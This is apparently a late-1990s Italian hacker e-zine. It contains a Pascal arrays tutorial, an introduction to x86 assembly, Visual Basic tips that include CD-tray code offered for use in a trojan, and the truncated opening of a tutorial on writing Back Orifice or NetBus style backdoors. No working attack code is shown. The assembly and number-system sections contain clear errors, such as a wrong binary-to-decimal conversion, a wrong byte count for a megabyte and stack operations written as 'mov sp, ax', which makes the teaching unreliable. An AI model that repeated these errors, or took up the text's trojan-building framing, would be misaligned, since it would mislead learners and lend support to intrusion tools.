quanta ne abbiamo dichiarato noi nella dichiarazione. In pascal un vettore si dichiara usando la prola ARRAY, con affianco tra parentesi quadre il numero di locazioni che gli vogliamo attribuire. Esempio: var v:array[1..10] of real; In questo caso ho dichiarato un vettore di dimensione 10 numeri reali. Lo potrei dichiarare anche di stringhe: var v:array[1..20] of string[30]; Ora ho dichiarato un vettore di dimensione 20 che contiene stringhe con un numero di caratteri che possono arrivare a 30. E le matrici? Beh le matrici sono quasi la stessa cosa, solo che per dichiarare una matrice dobbiamo indicare due dimensioni, visto che una matrice e' formata da un numero righe e un numero di colonne. Esempio: var v:array[1..20,1..20] of real; Ho dichiarato una matrice di 20*20 elementi, contenente numeri reali. Per la lettura di un vettore abbiamo la seguente codifica: for i:=1 to k do (*Per i=1 alla dimensione che abbiamo letto prima*) begin writeln ('inserisci il ',i,' valore'); readln(v[i]); end; Per lettura di una matrice abbiamo la seguente codifica: for i:=1 to nr do begin for j:=1 to nc do begin writeln ('inserisci il ',j,' numero della ',i,' riga'); readln(v[i,j]); end; end; Nella lettura di un vettore abbiamo un ciclo che va da 1, valore attribuito alla variabile I, alla dimensione del vettore che deve essere letta o specificata prima della lettura, mentre nella lettura di una matrice abbiamo due cicli nidificati, cioe' uno dentro l'altro. Il primo ciclo va da 1, attribuito alla variabile I, al numero di righe, il secondo invece va da 1, attribuito alla variabile J, al numero di colonne. Le variabili nr e nc devono essere lette prima, altrimenti la cpu non sa quando deve finire il ciclo. Ok facciamo un programma di prova: program let_hack; (*Questo programma legge i voti, stampa un giudizio e il voto massimo*) var v:array[1..10] of byte; i,k,max:byte; (*Dichiarazione delle variabili*) begin (*Lettura della dimensione*) repeat writeln ('Inserisci il numero di hacker che vogliono partecipare'); readln (k); (*Controlla se la dimensione e' contenuta nella dichiarazione*) until (k>0) and (k<=10); (*Ciclo che serve per leggere i voti*) for i:=1 to k do begin writeln ('Il ',i,'ø hacker che voto ha preso all'ultima lezione di hacking? '); readln(v[i]); (*Se il voto e' maggiore o uguale a 6 fa una stampa*) if v[i]=>6 then writeln ('Bravo sei buon apprendista'); if v[i]<6 then writeln ('Buuhh!!! Di questo passo sarai bocciato'); end; (*Inserisce nella variabile max il primo voto del vettore*) max:=v[1]; for i:=1 to k do (*Se uno dei voti e' maggiore di max, lo memorizza in max*) if v[i]>max then max:=v[i]; (*Stampa la variabile max*) writeln ('Il voto piu'' alto e'' ',max); end. Non credo sia molto difficile, anzi come ve lo spiego io...mah. E se vogliamo realizzare un prog che permetta all'utente di scegliere quale area calcolare??? No problem, eccolo: program aree; (*Questo prog offre la possibilita' di calcolare varie aree*) var sc:byte; base,altezza:real; (*Dichiarazione delle variabili*) begin repeat (*Stampa del menu'*) writeln ('Quale area vuoi calcolare?'); writeln ('--------------------------'); writeln ('1) Quadrato '); writeln ('2) Triangolo '); writeln ('3) Cerchio '); writeln ('4) Fine '); (*Legge la scelta e controlla se e' presente nel menu') repeat readln(sc); until (sc>0) and (sc<=4); (*Esegue la scelta effettuata*) case sc of 1: begin writeln ('Inserisci il lato'); readln(base); (*Memorizza nella variabile base il suo quadrato*); base:=base*base; writeln ('L''area e'' ',base); end; 2: begin writeln ('Inserisci la base e l''altezza'); readln(base,altezza); (*Memorizza nella variabile base l'area del triangolo e la stampa*) base:=(base*altezza)/2; writeln ('L''area e'' ',base); end; 3: begin writeln ('Inserisci il raggio del cerchio'); readln(base); (*Memorizza nella variabile base l'area del cerchio e la stampa*) base:=base*base*3.14; writeln ('L''area e'' ',base); end; 4: begin end; end; (*Ripete il ciclo finche' non e' stata digitata la scela 4 *); until (sc=4); end. Ok, non mi dire che non avete capito, altrimenti mi suicidio. A questo punto vi ponete una domanda: Come mai quanto dichiaro una variabile di tipo real e ne stampo il contenuto e' quasi illegibile? Dovete sapere che il formato real usa la notazione scientifica ovvero il floating point. Per risolvere questa incomprensione di lettura dobbiamo usare il fixed point. In poche parole: questo e' un numero in floating point 0.5599234E+02 Significa che dobbiamo spostare la virgole verso destra di due posti. Se, invece, avremmo avuto il segno - al posto di + avremmo dovuto spostare la virgola verso sinistra. Per ovviare a questa situazione, quando dovremo stampare un numero reale useremo la seguente sintassi var:x:y Dove var e' la variabile reale, x e' il numero di cifre totali che vorremo far stampare al nostro programmino e y e' il numero di cifre decimali che vorremo far apparire. Un esempio: writeln ('Il mio pisello e'' lungo ',pis:40:0); Stampa la variabile dandogli 40 cifre totali (esagerato!) e 0 cifre decimali. E se volessimo abbelire il nostro proggrammino? Allora dopo aver specificato il modulo uses crt possiamo usare i seguenti comandi: CLRSCR; Cancella dallo schermo tutto cio' che c'e' scritto GOTOXY(X,Y); Posizione il cursore sulla colonna X e sulla riga Y DELAY(N); Aspetta N millisecondi prima di continuare TEXTBACKGROUND(N); Seleziona il colore dello sfondo. N e' compreso tra 0 e 7 0 --> NERO 1 --> BLU 2 --> VERDE 3 --> VIOLETTO 4 --> ROSSO 5 --> MAGENTA 6 --> MARRONE 7 --> GRIGIO TEXTCOLOR(N); Seleziona il colore con cui devono essere scritti i caratteri di testo 0 --> NERO 1 --> BLU 2 --> VERDE 3 --> VIOLETTO 4 --> ROSSO 5 --> MAGENTA 6 --> MARRONE 7 --> GRIGIO 8 --> GRIGIO SCURO 9 --> BLU CHIARO 10--> VERDE CHIARO 11--> VIOLA CHIARO 12--> ROSSO CHIARO 13--> MAGENTA CHIARO 14--> GIALLO 15--> BIANCO KEYPRESSED E' una funzione che assuma il valore vero quando viene premuto un tasto. Il suo utilizzo puo' essere questo: REPEAT UNTIL KEYPRESSED Cioe' ripeti finche' non viene premuto un pulsante Allora, a me sembra che per ora basti cosi'. La prossima volta credo che vedremo gli altri moduli con i loro comandi e i vari algoritmi di ordinamento e di ricerca. Ci vediamo miei cari Pascalizzati! T0rment0 [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ PRIMI PASSI VERSO L'ASSEMBLER ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ============================================================================== ===============================pREFAZIONe===================================== ============================================================================== Questo breve testo vuol insegnare (o perlomeno ci prova :-P) le basi della programmazione per processori INTEL 80x86. Non peoccupatevi quello che insegnero' andra' benissimo anche su i normali Pentium, perche' anche se i nuovi processori sono avanzati, hanno tenuto la compatibilita' con i vecchi processori, che lavoravano in Real Mode!! Per poi progredire e creare codici Assembler ottimizzati per Pentium vi forniro' un tutorial (in inglese purtroppo) dove spiega quali sono i registri a 32bit e come si utilizzano al meglio delle loro possibilita' (anche io me lo sto' studiando in questo momento) la modalita' in cui lavora il pentium, come tutti gli altri microprocessori a 32bit, si chiama Protect Mode (32bit). L'assembler si differenzia dagli altri linguaggi perche' non e' costruito su istruzioni (come i lunguaggi ad alto livello), ma bensi' a INTERRUPT. Questi non sono altro che delle funzioni messe a disposizione del S.O o dal BIOS, ma una delle carenze di questo linguaggio e' che non si possono creare programmi per WINDOWS (o almeno si puo' fare linkando le funzioni delle api ma io non ho mai provato e nemmeno lo voglio fare! L'unica cosa e' che si formano exe di dimensioni ristrettissime). Nonostante cio' questo linguaggio rimane sempre usato per creare giochi, che utilizzano fortemente il 3D, anche se oggi si trovano API (openGL e DX) che creano surface molto piu' potenti di quelle che si potrebbero creare manualmente con l'ASM, e per creare VIRUS (hihihi) molto potenti come il CIH che puo' cancellare il BIOS!! ============================================================================== ==================================rEQUISITi=================================== ============================================================================== Per seguire questo corso dovete avere: 1) Il TASM5 che trovate a: http://newdata2.box.sk/neworder/tools/tasm5.zip 2) Una lista degli INTERRUPT ============================================================================== ==================================iNIZIo====================================== ============================================================================== Bene nel primo tutorial vi parlero' solamente di come calcola l'asm quindi almeno per questa volta nessun programmino sorry. Come saprete ogni singolo carattere che scriviamo (intendo sia numeri che lettere) sono un byte ciascuno e alla base dei byte ci sono i bit. Quindi questo vi dovrebbe far capire che ogni file e' composto da tantissimi bit che si susseguono; Ma cosa sono i bit? I bit sono quei piccoli numerini (0 o 1) che si susseguono. Questi messi affiancati possono formare i BYTE, MegaByte ecc... BYTE: E' composto da 8 bit (es. 10100011) WORD: E' composto da 2 BYTE quindi 16 bit (0011011010100011) DOUBLEWORD: E' composto da 2 WORD quindi 32 bit -> 4 BYTE KILOBYTE: E' composto da 1024 byte (e non 1000 bit come si crede) MEGABYTE: E' composto da 1048578 byte GIGABYTE: 1024 MegaByte TETABYTE: 1024 GigaByte Oggi giorno si puo' contare sull'utilizzo di linguaggi ben strutturati come C, Pascal, Java che ci permettono di creare applicazioni in modo veloce e sicuro, mentre l'asm, che e' il linguaggio piu' vicino al codice binario, ci "permette" di mandare anche il crash il sistema per un banale errore! E' da ricordare che non sono sempre esistiti i linguaggi come oggi prima i programmatori (parlo dell'era preistorica :=P) dovevano scrivere i programmi bit per bit!!! Bene, adesso che abbiamo visto cosa sono i bit passiamo a capire come funziona la CPU e come calcola! La CPU calcola in formato binario, ma esistono altri formati con cui possiamo comunicare con la CPU e cioe' decimale ottale e esadecimale. Binario: Il formato binario e' un sistema posizionale come il decimale e cioe' le cifre che compongono il numero si moltiplicano per le potenze di 2 (da qui' binario). 10110001 = 1*2^7 + 0*2^6 + 1*2^5 + 1*2^4 + 0*2^3 + 0*2^2 + 0*2^1 + 1*2^0 ->176 Decimale: Il formato decimale si puo' scomporre nel seguente modo, prendiamo 145 come numero decimale e portiamolo in formato binario: 1) 2) 3) 4) si divide per 2 il numero decimale se il risultato e' pari si scrive 0 altrimenti 1 si rifa' il procedimento da 1 fino a quando non si arriva a 0 i "numeri" ottenuti vanno ribaltati 145 -> 72 -> 36 -> 18 -> 9 -> 4 -> 2 -> 1 -> 0 1 0 0 0 1 0 0 1 numero ottenuto: 10010001 e' la rappresentazione binaria di 145. Esadecimale: Il formato esadecimale e' molto semplice e semplifica moltissimo la vita del povero programmatore asm. Come avrete capito dal nome questo formato e' composto da 16 numeri ma quali sono? Eccoli: 0 1 2 3 4 5 6 7 8 9 A B C D E D = = = = = = = = = = = = = = = = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 un esempio di formato esadecimale e' questo: 100101001011 -> B49 Come avete potuto vedere sono partito da fondo(cifra meno significativa), prendendo l'ultimo blocco d 4 bit (1011) e sostituito in formato esadecimale. 1011 -> B 0100 -> 4 1001 -> 9 semplice no? Adesso non ci rimane altro che spiegare come calcola il pc e qui' cerchero' di semplificarvelo il piu' possibile. Il mocroprocessore come avete capito riceve input solo in formato binario e quindi non gli possiamo passare numeri come 947 perche' andrebbe in tilt il SO quindi come facciamo? La risposta e' semplice se abbiamo la cifra 947 basta sostituirlo con le cifre dette nella tabella esadecimale cioe': 947 -> 011101001001 e prendiamo 2 cifre a caso a questo punto proviamo a sommarli per vedere come calcola la CPU. Come saprete (almeno spero) in decimale il riporto lo abbiamo quando si supera il 10 mentre in binario l'abbiamo quando si supera 2 quindi: 11001001+ 11000111= --------100010000 Come avrete capito quando trovo a sommare 1+1 il risultato e' 2, quindi metto uno 0 al posto di 2 e faccio il riporto di 1 alla cifra successiva... Avete capito come funziona no? (VEROOO????) La CPU e' una piccola scatolina di metallo composta di milioni di transistor. Ma cosa sono sti' c**zo di Transistor? Sono dei piccolissimi rettangolini(talmente piccoli che vi stanno sulla punta del mignolo) composti interamente di silicio(lo stesso materiale con cui e' composta la sabbia, ma allo stato piu' puro) all'interno di essi si trovano dei registri e segmenti, nei quali passa ogni informazione (0 o 1)!! I Segmenti e i registri che si trovano nella CPU sono questi: General purpose (registri utilizzati per contenere ogni cosa da puntatori a dati dei nostri programmi): AX -> registro a 16 bit scomponibile in 2 registri (ah e al). Notare bene che se si modifica il valore in al o ah si modifica anche il valore di ax!! Usato come destinazione nei calcoli. BX -> Registro come AX e divisibile in BL - BH. Usato come registro di OFFset. CX -> registro come AX (CH - CL). Usato come contatore cicli. DX -> registro come AX (DH - DL). Usato come contenitore per il resto nelle divisioni. Registri: SP -> (stack pointer) e' un puntatore alla zona di memoria abilitata al contenimento di dati del programma. Viene usato per passare dati da procedure ad altre o anche per altri scopi. La sua struttura e' un po' strana infatti i dati che vengono inseriri in quest'area devono essere ripresi da l'ultimo inserito verso il prima (si chiama LIFO: Last in First out) ad esempio: Se vogliamo immettere in sp il valore contenuto in ax e quello di bx dobbiamo fare questo: mov sp, ax mov sp, bx quando vorremo riprendere questi dati non possiamo riprendere il valore contenuto in ax perche' e' nella 2ø posizione quindi per riprendere ax dobbiamo prima prendere bx! esempio: mov sp, bx mov sp, ax Capito? semplice no? IP -> (instruction pointer) Contiene l'indirizzo della prossima istruzione IR -> (instruction register) Contiene il codice dell'ustruzione in esecuzione Insieme creano il fetch dell'esecuzione, che consiste nel prelevamento e riconoscimento della instruzione da eseguire. Una volta letto, il codice viene inserito nella PREFETCH QUEUE dove risiedono i codici letti ma non ancora eseguiti. Puntatori: BP -> (base pointer) e' il puntatore alla porzione di memoria alla base dello stack. Segmenti: CS -> (code segment) Puntatore alla zona di memoria contenente il codice della prossima istruzione da eseguire. DS -> (data segment) Puntatore alla zona abilitata al conetnimento dei dati. ES -> (extra segment) Puo' essere usato come registro di segmento ausiliario. SS -> (Stack segment) Punatore alla zona di memoria che compone lo stack. Flag: I flag sono registri che riportano informazioni circa alcune operazioni tipo calcolo. E sono: CF PF AF ZF SF TF IF DF OF -> -> -> -> -> -> -> -> -> Carry flag Parity flag Ausiliary flag Zero flag Sign Flag Trap flag Interrupt flag Direction flag OverFlow flag SEGMENT e OFFSET: Purtroppo i vecchi processori Intel(8086 - 286) potevano indirizzare solo 1MB di memoria, ma a parte questo il problema e' un altro: Come facciamo ad indirizzare 1MB di memoria se per indirizzare 1MB servono 20 bit e noi ne abbiamo solo 16?? Semplice dobbiamo usare degli indirizzi formati da 2 parti chiamati Segment e Offset. Un esempio puo' essere 22F1:A0C1. La CPU pero' non usa questo indirizzo composto a 2 parti ma lo moltiplica ottenendone 1 da 20bit moltiplicando il segment x 16 (10h) e il risultato ottenuto addizionato all'offset si ottiene cosi' un indirizzo da 20 bit! Oppure c'e' il sistema dello shift a sinistra di 4 posizioni. Questo cmq avviene solo nei programmi a 16bit e non in quelli a 32 i quali sfruttano i Selettori e descrittori(non mi chiedete come funziona perche' non lo so nemmeno io). The First program: A questo punto possiamo passare a fare il nostro primo programmino, che sostituira' la funzione printf del C. Aprite una sessione del vostro caro Blocco note (windows) e scrivete questo codice asm: ; Tutorial1 Funzione identica a printf in asm -> by So[RD]eN 1999 .MODEL small .STACK 100h .DATA Message DB "Hello world",13,10,'$' ;dichiara una variabile lunga 14 byte .CODE start: ;apertura della parte del codice mov ax, SEG Message Messaggio mov ds, ax mov dx, OFFSET Message Messaggio mov ah, 09h sta' per esadecimale int 21h mov ah,4Ch int 21h end start ;Muove in ax il Segment della variabile ;Muove in ds in contenuto di ax ;Muove in dx l'Offset della variabile ;Muove in ah il valore 09 (esadecimale) la h ;Richiama l'interrupt 21h ;Muove in ah il valore 4C (esadecimale) ;Richiama l'interrupt 21 ;Fine della parte del codice Una volta scritto il codice e salvato con il nome di tut1.asm per compilarlo vi basta scrivere queste 2 intruzioni nel prompt dos: tasm tut1.asm tlink tut1.obj Una volta fatto questo vi ritroverete il file tut1.exe, le quali dimensioni saranno ristrettissime in confronto a qualsiasi programma, scritto in C o pascal. IL codice che vi ho fatto scrivere e' molto semplice, inizia con una descrizione (il carattere ; e' identico a /* in C) .MODEL small -> questo dice alla CPU che tipo di segmenti di memoria utilizzare per eseguire il programma! Le altre possibili scelte sono: Tyny: Tutto il codice e per i dati in un segmento (64 kb) small: Un segmento per il codice, uno per i dati e uno per lo stack (tutti in 64Kb) medium: Il codice in piu' segmenti quindi puo' andare oltre ai 64Kb, ma i dati e lo stack sempre in 2 segmenti da 64Kb. compact: Identico al modello small, ma per accedere ai dati vanno usati puntatori FAR i quali permettono di superare la barriera dei 64kb. large: E' come il comparct, ma il codice in piu' segmenti, e i dati possono superare i 64kb. .STACK 100h -> Dice al compilatore quanto spazio in memoria deve essere riservato al programma (100h = 0.5kb). .DATA -> INizializza la parte in cui vanno dichiarate tutte le variabili che serviranno nel programma. Messaggio DB "Hello world",13,10,'$' -> Crea una variabile lunga 14 byte di tipo byte; ma perche' lunga 14 se la frase e' lunga solo 11 caratteri? Perche' ogni variabile contenente dei dati ha bisogno dei suoi parametri, infatti la variabile Messaggio ha bisogno del parametro 13 (equivale al \r in C), il 10 (\n in C) e $ che e' il terminatore della stringa dati! Quindi da 11 vanno aggiunti 3 byte per il 13, il 10 e la $. Come avrete capito esistono altri tipi di dichiarazione della stringa eccovene una lista: DB DW DD DQ DF DT -> -> -> -> -> -> Define Define Define Define Define Define Byte Word double word Quadword FAR (puntatore FAR 48 bit -> 6 Byte) Ten Byte Per poi creare una variabile che verra' riempita durante l'esecuzione del programma basta usare queste direttive: NomeVariabile DB 5 DUP(?) In questo modo abbiamo creato una variabile di tipo Byte lunga 5 byte. .CODE -> Segnala l'inizio del segmento codice mov ax,SEG Messaggio -> Muove in ax il (equivale a ax sapete cosa e' spieghero'piu' SEGMENT della variabile Messaggio = SEG Messaggio in C), cmq se non il SEGMENT non vi preoccupate lo avanti). mov ds, ax -> Voi direte perche' adesso hai spostato il valore contenuto in ax in ds? non facevi prima a fare "mov ds,SEG Messaggio"? Ed io vi rispondero' "NO!". Non e' permesso in asm fare spostamente memoria->memoria infatti ds sta' per Data Segment (punta alla zona di memoria) quindi e' come fare uno spostamento memoria->memoria! mov dx, OFFSET Message -> Adesso immetto in dx il valore Offset della variabile Message. mov ah, 09h -> Immetto in ah il valore 09 (esadecimale) che indica la funzione da richiamare, contenuta nell'interrupt 21h. Questa Funzione prende gli indirizzi (seg:off) allocati nei registri ds(che poi non e' un registro ma un segmento) e in dx. A questo punto la CPU fa' l'operazione della fusione degli indirizzi seg:off e risale cosi' al contenuto della variabile Message, e stampa su schermo il suo contenuto!! int 21h -> richiama l'interrupt 21h, prendendo il valore immesso in ah richiama la funzione 09h e esegue quello descritto prima. mov ah,4Ch -> Come prima immetto il valore 4Ch in ah e richiamo la funzione 4C contenuta nell'interrupt 21h, e cioe' chiude il programma eliminando lo spazio occupato da lui in memoria e dalle sue variabili. int 21h -> La stessa cosa di prima. END -> fine del segmento codice Mi pare che per questa prima volta sia sufficente anche perche' dovete aver capito bene tutto quello che vi ho descritto per continuare. Quindi leggete leggete leggete e PROVATE!! So[RD]eN_82 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ _____ ___ ___ /__ __\ | | | | |\ /| | | | | | / | \/ | |_| |___| | \ | | PPppPPppPPppPPppPPppPPppPPppPPppPPpp ppSuggerimenti per il visual basicPP PPppPPppPPppPPppPPppPPppPPppPPppPPpp Ehila' da quanto tempo??? Tutto a posta? O anche in banca?? Vabbe', eccolo qui il vostro tuttofare che stavolta vi insegnero' dei trucchetti col Visual Basic. 1. Volete far partire applicazioni di Unix da applicazioni in VB?? Allora scaricatevi da internet (se non l'avete) uno dei tanti winsock control. Usando lo standard REXEC (remote execute) protocol vi connettete attraverso la porta 512 e dando login e password giusti, la path e l'eseguibile che vorremo far eseguire. Funzia!!! 2. Avete realizzato un trojan e volete che vi apri e chiudi lo sportello CD? il seguente codice: Declare Function mcisendstring Lib "MMSystem"_ (ByVal IpstrCommand As String, ByVal IpReturnString AS _ String, ByVal wReturnLength As Integer, ByVal hCallback As _ Integer) As Long 'Per chiuderlo retvalue = mcisendstring("set CDAudio door closed", returnstring,_ 127,0) 'Per aprirlo retvalue = mcisendstring("set CDAudio door open", returnstring,_ 127,0) 3. Volete realizzare un browser facile facile ? Ad aiutarvi c'e' il potente engine di Internet Explorer cioe' SHDOCVW.DLL Dopo aver aperto una form andate nel menu Progetto, poi scegliete Componenti ed infine selezionate Microsoft Internet Controls. Vi verranno aggiunte due nuovi strumenti. Ora dovete aggiungere sulla form i seguenti componenti: Combobox WebBrowser StatusBar e un array di 4 bottoni Metteli in questo modo: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÂÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ¿ÚÄÄÄÄ¿ ³ ³ ³ Combo1 ³V³ ³ <- ³ ³ -> ³ ³REFRESH³³STOP³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÁÄÙ ÀÄÄÄÄÙ ÀÄÄÄÄÙ ÀÄÄÄÄÄÄÄÙÀÄÄÄÄÙ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ WebBrowser ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ StatusBar ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Poi settate le seguenti proprieta': Combo1.Text="" StatusBar1.Style=1 Adesso inserite il seguente codice: Private Sub WebBrowser1_BeforeNavigate(ByVal URL As String,_ ByVal Flags as Long, ByVal TargetFrameName As String,_ PostData As Variant, ByVal Headers As String, Cancel as Boolean) Dim strUrl As String strUrl = URL Dim bFound As Boolean Dim i As Integer For i = 0 To Combo1.Listcount - 1 If Combo1.List(i) = strURL Then bFound = True Exit For End If Next i If Not bFound Then Combo1.AddItem strURL End If Combo1.Text=strURL End Sub <---------> Private Sub Combo1_Click() WebBrowser1.Navigate(Combo1.Text) End Sub <---------> Private Sub Combo1_KeyPress(KeyAscii As Integer) On Error Resume Next If KeyAscii = 13 Then Combo1_Click End If End Sub <----------> Private Sub Command1_Click(Index As Integer) Select Case Index On Error Resume Next Case 0 WebBrowser1.GoBack Case 1 WebBrowser1.GoForward Case 2 WebBrowser1.Refresh Case 3 WebBrowser1.Stop End Select End Sub <-----------> Private Sub WebBrowser1_StatusTextChange(ByVal Text As String) StatusBar1.SimpleText = Text End Sub -----------End-----------------Questo programmino lo potete anche usare come disk browser. Io quando sto con Winzozz lo uso al posto dell'Explorer (ihihih) Almeno sono sicuro che non e' buggato (ihihihih) 4. Registrare le OCX Allora raga, molte persone si sono lamentate nel fatto che nello scorso numero quel metodo per registrare il winsck.ocx non funzionava. Ebbene ho trovato un altro metodo per registrare le ocx (da testare ancora sul winsck.ocx) Se avete Visual Basic sul cd ci dovrebbe essere una cartella Tools. Li' ci dovrebbe essere l'utility regocx32.exe. Usatela in questo modo: --- copiate il file .ocx in windows/system --- spostatevi in windows/system --- digitate regocx32 /u filedaregistrare.ocx --- digitate regocx32 filedaregistrare.ocx Beh se non funzia nemmeno cosi' non vi resta che scaricarvi l'ActiveX 6 dal sito della Micro$oft o un altro sito 5. Come posso catturare lo schermo attraverso un'applicazione VB? Basta che nel prog inserisci il seguente codice: --------------------------INIZIO-----------------------------------DefInt A-Z Declare Sub ReleaseDC Lib "User" (ByVal hWnd, ByVal hDC) Declare Sub OpenClipBoard Lib "User" (ByVal hWnd) Declare Sub EmptyClipBoard Lib "User" () Declare Sub hBitMap) Declare Sub Declare Sub Declare Sub SetClipBoardData Lib "User" (ByVal CBFormat, ByVal _ CloseClipBoard Lib "User" () SelectObject Lib "GDI" (ByVal hDC, ByVal hObj) DeleteDC Lib "GDI" (ByVal hDC) Declare Sub BitBlt Lib "GDI" (ByVal DestDC, ByVal X, ByVal Y, ByVal _ BWidth, ByVal BHeight, ByVal SourceDC, ByVal X, ByVal Y, ByVal _ Constant&) Declare Function CreateDC Lib "GDI" (ByVal Driver$, ByVal Dev&, _ ByVal O&, ByVal Init&) Declare Function CreateCompatibleDC Lib "GDI" (ByVal hDC) Declare Function CreateCompatibleBitmap Lib "GDI" (ByVal hDC, _ ByVal BWidth, ByVal BHeight) Sub ScrnCap (Lt, Top, Rt, Bot) rWidth = Rt - Lt rHeight = Bot - Top SourceDC = CreateDC("DISPLAY", 0, 0, 0) DestDC = CreateCompatibleDC(SourceDC) BHandle = CreateCompatibleBitmap(SourceDC, rWidth, rHeight) SelectObject DestDC, BHandle BitBlt DestDC, 0, 0, rWidth, rHeight, SourceDC, Lt, Top, _ &HCC0020 Wnd = Screen.ActiveForm.hWnd OpenClipBoard Wnd EmptyClipBoard SetClipBoardData 2, BHandle CloseClipBoard DeleteDC DestDC ReleaseDC DHandle, SourceDC End Sub Sub Command1_Click () Form1.Visible = False ScrnCap 0, 0, 640, 480 Form1.Visible = True picture1 = clipboard.GetData() End Sub -----------------------------FINE--------------------------------------Cioe' ogni qualvolta cliccherete sul pulsante Command1 vi catturera' lo schermo. Attenzione nell'ultima SUB abbiamo: ScrnCap 0, 0, 640, 480 Se avete una diversa risoluzione cambiate quel valore! 6. Fine Beh credo che per ora basti, se trovo altri trucchi li vedrete sicuramente sul prox numero. Ciao da T0rment0 T0rment0 [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ BACKDOORS FOR DUMMIES (e non vi offendete:)) ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ok. Questo, come dice il titolo, sara' un piccolo tut che dovrebbe insegnare ad ogni newbies come scriversi il proprio BO o NetBus e ad essere meno lamer. Il tut l'ho pensato proprio al "nobile" scopo di de-lamer-izzarvi. DE-LAMER-IZZATEVI, non usate BO x poi vantarvi di essere dei grandi Hacker, anche mio cugino di 2 anni sarebbe capace di Hackerare un PC con quello :)) /--NOTA----------------------------------------------------------------------\ | prevedo entro domani mattina un minimo di 10 installazioni di BO sul mio PC| | che si combattono x chi mi deve formattare l'HD x primo :)) | -----------------------------------------------------------------------------Proprio cosi', perche' in giro ci sono parecchi guys che vanno in giro vantandosi delle proprie imprese (realizzate col BO) e poi magari cercano di Hackerare uno UNIX con lo stesso metodo (perke' non sanno kosa c'e' dietro?) DITEMI SE NON E' LAmHZ QUESTO ?!?!? ):| VERGOGNA!!! /--NOTA----------------------------------------------------------------------\ | kosi' sono certo di essermeli messi tutti contro, e le installazzioni di BO| | sul mio PC arriveranno a quota 3000 :)))) | -----------------------------------------------------------------------------Io non sono certo un Hacker (lo capirete presto:) , in quanto non ho mai hackerato un kzz, ma sono un cracker beginner (ho iniziato da circa 3 mesi:) e mi sono affacciato alla scena da pochissimo (affacciato ho detto), ma almeno posso essere sicuro di non essere un lamer. (prima di fare qualcosa devo sapere cosa c'e' dietro altrimenti non la faccio proprio, le cose "rrunzate" non mi piacciono) Dopo questa breve nota biografica (CORO : ke palle!!!) necessaria in quanto e' meglio buttarsi avanti x non trovarsi indietro, cominciamo con le cose serie : COS' E' IL BO (x veri newbies, non dite ke non vi avevo avvertito:) Allora, BO (come NetBus) e' un troiano, cioe' un programmino che sembra faccia qualcosa mentre in realta' ci sta inkulando a sangue in background. Va 